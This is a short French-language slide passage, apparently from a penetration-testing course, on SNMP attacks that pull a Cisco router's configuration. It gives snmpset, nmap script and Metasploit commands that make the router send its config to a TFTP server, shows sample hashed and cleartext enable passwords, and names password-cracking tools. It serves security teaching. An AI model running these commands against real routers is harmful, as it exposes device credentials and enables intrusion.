Exploitation

Attaques sur le protocole SNMP

SNMP : Récupération de la configuration d'un Cisco

- Configuration téléchargeable depuis le routeur sur un serveur TFTP

- `snmpset -v 1 -c private 192.168.1.250 .1.3.6.1.4.1.9.2.1.55.192.168.1.2 s "router.cfg"`

- `nmap -sUV -p 161 -v -d --script=snmp-ios-config –script-args=snmpcommunity=SomeString, tftpserver=192.168.1.2 192.168.1.1`

- `metasploit : use auxiliary/scanner/snmp/cisco_config_tftp`

Exploitation

Attaques sur le protocole SNMP

SNMP : Récupération de la configuration d'un Cisco

- Accès au fichier de configuration Cisco

```
hostname R1
…
enable secret 5 $1$Crsx$McITUg34xP0AdL0T2qOLP/
enable password 7 09424F0A170414425D
enable password Cisco
…
```

- Outils
  - John the ripper
  - Ciscocrack
  - Cain&abel